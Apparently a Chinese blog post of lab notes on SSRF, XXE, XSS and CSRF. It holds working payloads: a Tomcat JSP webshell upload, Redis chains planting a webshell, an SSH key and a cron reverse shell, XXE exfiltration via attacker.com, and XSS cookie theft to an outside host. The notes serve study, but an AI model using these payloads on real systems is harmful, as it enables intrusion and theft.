web通用漏洞
文章目录
1. SSRF
SSRF(Service side request forgery):服务器请求伪造
是一种由攻击者形成服务器端发起的安全漏洞,本质上是属于信息泄露漏洞。
file,dict,http协议懂的都懂。
1. gopher伪协议
gopher是分布式文档传递服务。感觉已经过时了,不太好复现。
基本格式:URL:gopher://host:port/gopher-path
web也需要加端口号80
gopher协议默认端口为70
注意:gopher请求不发送第一个字符
A端
curl gopher://127.0.0.1:7777/abcd
B端
nc -lvp 7777
结果b端只接受到bcd,所以一般会有一位填充位
windows11下curl --version
发现没有gopher,故去下一个最新版的curl.exe
,并配置环境变量。
我用的php5.6.9,php.ini开启了下面设置
extension=php_openssl.dll
allow_url_fopen=On
allow_url_include=On
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
B端和C端都会进行一次urldecode,所以A端http请求要两次urlencode。
file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode;
B.php
<?php
highlight_file(__FILE__);
// 创建一个Curl句柄
$curl = curl_init();
echo $_GET['url'];
//$_GET['url']="gopher://127.0.0.1:80/_GET%20/C.php%3Fname%3D666%0D%0AHost%3A+127.0.0.1";
//浏览器传参gopher://127.0.0.1:80/_GET%2520%2FC.php%253Fname%253D666%250D%250AHost%253A%2B127.0.0.1
echo urlencode($_GET['url']);
// 设置请求的URL
curl_setopt($curl, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址
// 设置请求超时时间(秒)
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
// 设置连接超时时间(秒)
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
// 设置是否在遇到HTTP错误码时抛出异常
curl_setopt($curl, CURLOPT_FAILONERROR, true);
//不设超时时间python访问容易504报错,而看不到任何结果
// 执行请求
$response = curl_exec($curl);
// 检查是否有错误发生
if(curl_errno($curl)) {
$error_message = curl_error($curl);
// 在这里处理自定义协议错误
echo "自定义协议错误:" . $error_message;
echo $_GET['url'];
}
// 关闭Curl句柄
curl_close($curl);
C.php
<?php
highlight_file(__FILE__);
echo '</br>';
echo 'get name '.$_GET['name']."</br>";
echo 'post name '.$_POST['name'];
test.php
<?php
//highlight_file(__FILE__);
/**/
$w = stream_get_wrappers();
echo 'openssl: ', extension_loaded ('openssl') ? 'yes':'no', "\n";
echo 'http wrapper: ', in_array('http', $w) ? 'yes':'no', "\n";
echo 'https wrapper: ', in_array('https', $w) ? 'yes':'no', "\n";
echo 'wrappers: ', var_dump($w);
输出里面没有gopher,file_get_contents
不支持gopher
了😓
Warning: file_get_contents(): Unable to find the wrapper "gopher"
get请求构造
空格 %20 问号%3f 换行符 %0d%0A
import urllib.parse
import requests
from urllib.parse import urlencode
ip="127.0.0.1"
port=80#端口不要忘了
data="""GET /C.php?name=666
Host: 127.0.0.1
"""#最后有个换行符
#HTTP/1.1好像不用加
data=urllib.parse.quote(data)
data=data.replace("%0A","%0d%0A")
#print(payload)
print(data)
#GET%20/C.php%3Fname%3D666%0d%0AHost%3A%20127.0.0.1%0d%0A
data=urllib.parse.quote(data)#因为是curl_exec,需要二次加密
print(data)
#GET%2520/C.php%253Fname%253D666%250d%250AHost%253A%2520127.0.0.1%250d%250A
payload=f"gopher://{ip}:{port}/_"+data #解析时吃一个_
url="http://127.0.0.1:80/B.php?url="+payload
print(url)
r=requests.get(url=url)
print(r.text)
注意:最后有一个换行符
post请求构造
先验证一下能不能跑
curl gopher://127.0.0.1:80/_POST%20%2FC.php%20HTTP%2F1.1%0d%0ahost%3A127.0.0.1%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A8%0d%0a%0d%0aname%3D666
B.php
<?php
//highlight_file(__FILE__);
// 创建一个Curl句柄
$curl = curl_init();
$a1="POST /C.php
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
name=666";
#Content-Type如果是xml则需要用xml格式写,比如<name>666</name>
//浏览器传参gopher://127.0.0.1:80/_GET%2520%2FC.php%253Fname%253D666%250D%250AHost%253A%2B127.0.0.1
echo "posturl: ".$_POST['url'];
// 设置请求的URL
$_POST['url']="gopher://127.0.0.1:80/_POST%20%2FC.php%20HTTP%2F1.1%0d%0ahost%3A127.0.0.1%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A8%0d%0a%0d%0aname%3D666";
//
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址
// 设置请求超时时间(秒)
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
// 设置连接超时时间(秒)
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
//不设超时时间python访问直接504报错,看不到任何结果
// 设置是否在遇到HTTP错误码时抛出异常
curl_setopt($curl, CURLOPT_FAILONERROR, true);
// 执行请求
$response = curl_exec($curl);
//echo $response;
// 检查是否有错误发生
if(curl_errno($curl)) {
$error_message = curl_error($curl);
// 在这里处理自定义协议错误
echo "</br>"."自定义协议错误:" . $error_message;
echo $_GET['url'];
}
// 关闭Curl句柄
curl_close($curl);
import urllib.parse
import requests
from urllib.parse import urlencode
ip="127.0.0.1"
port=80
content="name=666"
length1=len(content)
data=f"""POST /C.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:{length1}
{content}"""
data=urllib.parse.quote(data)
data=data.replace("%0A","%0d%0A").replace("/","%2F")
data=urllib.parse.quote(data)
payload=f"gopher://{ip}:{port}/_"+data
print(payload)
url="http://127.0.0.1:80/B.php"
print(url)
r=requests.post(url=url,params=payload)
print(r.text)
2. 常见绕过
1. ip地址绕过
ip地址转数字,十进制,八进制,十六进制等
302重定向绕过ip限制
- A类私有网段的范围是10.0.0.0到10.255.255.255。
- B类私有网段的范围是172.16.0.0到172.31.255.255。
- C类私有网段的范围是192.168.0.0到192.168.255.255。
可以使用环回适配器使虚拟机网络不属于abc网段,或者有公网ip。
一台vps上写1.php
<?php
header("Location: http://127.0.0.1/flag.php");
php -S 0.0.0.0:7777 开启Web服务
然后传一个http://公网ip:7777/1.php
,使受害网站访问1.php时重定向到本地内网访问文件。
2. DNS重绑定攻击
利用网站:https://lock.cmpxchg8b.com/rebinder.html
提供TTL为0的dns解析
http://de290302.7f000001.rbndr.us/flag.php
3. mysql未授权
复现不成功,条件相当苛刻。
主机mysql和虚拟机都整个远程连接的用户
CREATE USER 'remote_user'@'%' IDENTIFIED WITH 'mysql_native_password' BY '123456'; #虚拟机低版本不用写identified with...
GRANT ALL PRIVILEGES ON *.* TO 'remote_user'@'%';
虚拟机要选桥接模式,NAT模式八成不行。
kali数据库配置文件/etc/mysql/my.cnf
,主机my.ini也加一下
[mysqld]
port=3306
bind-address=0.0.0.0
kali虚拟机开启mysql服务,默认账号root,默认密码password
sudo systemctl enable mysql
sudo systemctl start mysql
mysql -uroot -ppassword
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
quit;
- 虚拟机开启抓包
tcpdump -i lo port 3306 -w mysql.pcapng
捕获本地回环接口(lo
)上所有目标端口或源端口为3306的数据包,并将这些数据包写入到名为 mysql.pcapng
的文件中。
- 写入指令
mysql -h127.0.0.1 -uremote_user -p123456 -e "show databases;"
mysql>5.6不进行密文认证--ssl-mode=DISABLED
- 本机wireshark打开mysql.pcapng
右键 追踪流->TCP流
红色表示发送,蓝色表示接收,我们需要发送给mysql服务器的,故整个对话改成127.0.0.1:51216->127.0.0.1:3306
,show data as 选原始数据
- 将内容复制出来,去掉换行符
d700000184a2bf000000000121000000000000000000000000000000000000001d00000072656d6f74655f7573657200140cc93d48f1db8bf907d288c050ddcf7e48f2f3006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f706964063130333531300f5f636c69656e745f76657273696f6e05332e322e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e310f0000000373686f77206461746162617365730100000001
- 将ascii码转换成url编码
test2.py
import requests
import time
import sys
import urllib.parse
import os
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "%".join(a)
if __name__=="__main__":
s="d700000184a2bf000000000121000000000000000000000000000000000000001d00000072656d6f74655f7573657200140cc93d48f1db8bf907d288c050ddcf7e48f2f3006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f706964063130333531300f5f636c69656e745f76657273696f6e05332e322e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e310f0000000373686f77206461746162617365730100000001"
a=results(s)
a=urllib.parse.quote(a)
a="gopher://192.168.10.7:3306/_%" +a
print(a)
os.system("chcp 65001")
os.system(a)
gopher://192.168.10.7:3306/_%d7%2500%2500%2501%2584%25a2%25bf%2500%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%251d%2500%2500%2500%2572%2565%256d%256f%2574%2565%255f%2575%2573%2565%2572%2500%2514%250c%25c9%253d%2548%25f1%25db%258b%25f9%2507%25d2%2588%25c0%2550%25dd%25cf%257e%2548%25f2%25f3%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%257f%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%250a%256c%2569%2562%256d%2561%2572%2569%2561%2564%2562%2504%255f%2570%2569%2564%2506%2531%2530%2533%2535%2531%2530%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2505%2533%252e%2532%252e%2538%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250c%255f%2573%2565%2572%2576%2565%2572%255f%2568%256f%2573%2574%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501
localhost/B.php?url=
尝试一下,结果不成功,各位自行尝试
相关工具:gopherus.py 感觉没什么用
4. tomcat漏洞
cve-2017-12615
post发送如下参数,burpsuite拦截对_
后的内容进行两次url加密
url=gopher://127.0.0.1:80/_PUT /1.jsp/HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 373
<%
String command = request.getParameter("cmd");
if(command != null){
java.io.InputStream in=Runtime.getRuntime().exec(command).getlnputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}else{
out.print("format: xxx.jsp?cmd=Command");
}
%>
5. redis未授权写webshell
看视频吧
dict://ip:6379/info
查看是否有未授权的redis
抓docker接口流量,写入文件
tcpdump -i br-5af779a344a9 and port 6379 -w redis.pcapng
redis-cli -h 172.250.250.9
1.设置web路径
config set dir /var/www/html/
3.设置shell文件名
config set dbfilename phpinfo.php
3.向数据库插入payload
set payload "<?php phpinfo(); ?>"
4.保存webshell
save
5. 退出
quit
筛目的地为6379的TCP流,data as ascii,复制到记事本,把?
替换成%3F
,把\r\n
替换成%0d%0a
构造gopher://172.250.250.9:6379/_
,后面拼接上面记事本的内容
6. redis 未授权写入ssh公钥
看视频吧
如果对方主机开启了ssh,可尝试写入ssh公钥文件,进行ssh登录。
/.ssh目录下,kali生成私钥对
ssh-keygen -t rsa
authorized_keys
cat ida_rsa.pub
修改之前redis写webshell抓到的TCP流
路径改为/root/.ssh/,并修改上面的长度为$11
之前的phpinfo.php改为authorized_keys,并修改上面的长度为$15
paylooad下一个属性改为
$长度(多四个换行,+4而不是+8)(并且公钥取中间ssh-rsa开头,直到换行结尾的内容)
ssh-rsa AAAA...
*1
$4
save
然后替换\r\n
为%0d%0a
,之后构造gopher://ip:6379/_
拼接内容即可。
进行ssh登录,docker映射为2222端口
ssh -i id_rsa -p 2222 root@192.168.233.137
7. redis 未授权计划任务shell反弹
看视频吧
- 权限问题,Ubuntu定时任务需要root权限
- redis备份文件存在乱码,在ubuntu上会报错,而在Centos上不会报错
使用SSRF利用此漏洞,切记在写入计划任务前后加上\n来进行换行,否则数据污染会导致计划任务失败。
nc -lvp 1234
ifconfig
python 2 gopherus.py --exploit redis
ReverseShell
填ip
之后改gopher://ip:6379的ip,然后提交
payload大概长这样
0 标准输入
1 标准输出
2 标准错误输出
redis-cli -h 10.91.214.205
#设置键值对,`* * * * *`表示每分钟执行一次
# >&,全称为2>&1,将bash shell的标准输出和标准错误都重定向到一个TCP连接,用于发送靶机输出
# 0>&1 将标准输入重定向到之前已经重定向的标准输出(即远程socket),从远程socket读取输入
# 0>&1 的操作类似于将文件描述符fd1的内容复制到fd0
set x "\n* * * * * bash -i >& /dev/tcp/vps ip/55555 0>&1\n"
#将Redis 的工作目录更改为 /var/spool/cron/,这通常是 cron 作业的存储位置。
config set dir /var/spool/cron/
#将Redis的数据库文件名更改为root,这意味着Redis将在/var/spool/cron/下创建一个名为root的文件
config set dbfilename root
save
cat /var/spool/cron/root
redis还有个主从复制,具体看参考文章。
2. XXE
https://www.w3school.com.cn/dtd/dtd_intro.asp
XML:eXtensible Markup Language ,可扩展标记语言
DTD:文档类型定义,用于定义XML文档结构,<!DOCTYPE 根元素 [元素声明]>
XXE:Xml eXternal Entity injection,XML外部实体注入
XML组件默认没有禁用外部实体引用会导致这个漏洞。
DTD
元素声明
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
<!ELEMENT 元素名称 EMPTY>
<!ELEMENT 元素名称 ANY> 包含任何内容的元素
<!ELEMENT 元素名称 (#PCDATA)>
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>
例如:
<!ELEMENT br EMPTY>
<br />
属性声明
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
<!ATTLIST payment type CDATA "check">
<payment type="check" />
内部实体声明
<!ENTITY 实体名称 "实体的值">
<!ENTITY writer "Bill Gates">
<author>&writer;</author>
外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;</author>
参数实体,可以被DTD文件自身引用
<!ENTITY % 实体名称 "实体内容" >
%实体名称;
测试
B.php,php版本控制为5.3.29
<head>
<meta charset=utf-8>
<title>xxe测试</title>
</head>
<body>
<form action='/B.php' method='post'>
<p>xml数据:</p></br>
<textarea type="text" name="data"></textarea></br>
<input type="submit" value="提交" name="sub">
</form>
</body>
<?php
highlight_file(__FILE__);
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){
$data=$_POST['data'];
$xml=simplexml_load_string($data);
print($xml);
}
1.txt
你好,makabaka
构造一个DTD外部实体的声明,然后在xml元素里引用。
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///C:/phpstudypro/WWW/1.txt">
]>
<login>&xxe;</login>
复制上去,提交一下
文件读取
file:///C:/phpstudypro/WWW/1.txt
端口扫描,没开就报错
http://127.0.0.1:3307
命令执行,要安装expect库
expect://ipconfig
xxe炸弹,尝试读取大量随机数据
file:///dev/random
dnslog子域名外带
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://dasd.wzv90i.dnslog.cn">
%remote;
]>
访问自己服务器的恶意dtd文件
xml写
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root>&send;</root>
evil.dtd里写
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
<!ENTITY % int "<!ENTITY %send SYSTEM 'http://192.168.142.135:8080?p=%file;'>">
3. XSS
Cross-Site Scripting,跨站脚本攻击
攻击者在目标网站上注入恶意代码,当用户(被攻击者)登录网站时就会执行这些恶意代码,通过这些脚本可以读取cookie,session tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈。
同源策略:域名、协议、端口相同。
DOM(Document Object Model,文档对象模型)使得程序和脚本可以动态访问和更新文档的内容、结构和样式。
XSS攻击可以分为3类:存储型(持久型)、反射型(非持久型)、基于DOM。
反射型(非持久型):用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出。
<meta charset="UTF-8">
<?php
$xss = "";
@$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
//<script>alert('xss')</script>
//<script>alert(/xss/)</script>
//<script>alert(document.cookie)</script>
//<script>document.location="http://www.xxx.com/cookie.asp?cookie="+document.cookie</script>
?>
存储型(持久型):将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
常见于留言板,博客等可以发布文章和显示文章的网站。
基于DOM:通过操作 DOM 实现攻击。
可能触发dom的xss属性
document.referer
document.write
location
innerHTML
<script>document.body.innerHTML=(
'<p>hello world</p>');</script>
覆盖原本的body元素。
常见绕过:
双写,大小写
img标签<img src=1 onerror=alert(/xss/)>
<script>img = new Image();
img.src = "http://www.xxx.com/cookie.asp?cookie="+document.cookie;
img.width = 0;img.height = 0</script>
井号
?default=English #<script>alert(/sss/)</script>
由于#后的代码在客户端被注释,因此注入语句不会被传入服务器端,从而达到注入效果。
常见防御
HttpOnly:防网页cookie被客户端js存取
直接用htmlspecialchars函数对用户输入进行编码成html实体。
4. CSRF
Cross—Site Request Forgery,跨站点请求伪造
攻击者利用网站对用户网页浏览器的信任,挟制用户在当前已登录的Web应用程序上执行非本意的操作。
其实加个手机验证码就没这个漏洞。
比如受害者登录后,访问带有<img src=http://www.evil.com/transfer.php?toBankId=9999&money=100>
的网站。
比如受害者点击了短链接(隐藏了真实网站)。
与XSS的区别:
关于vmware的网络
虚拟机<->虚拟机 | 虚拟机->宿主 | 宿主->虚拟机 | 虚拟机->互联网 | 互联网->虚拟机 | |
---|---|---|---|---|---|
网络地址转换NAT | X | √ | X | √ | X |
NAT网络 | √ | √ | X | √ | X |
桥接网卡 | √ | √ | √ | √ | √ |
内部网络 | √ | X | X | X | X |
仅主机网络 | √ | √(官方说可以) | √ | X | X |
- vmware16的nat模式虚拟机大概率ping不通主机,并且难以解决,建议使用桥接模式。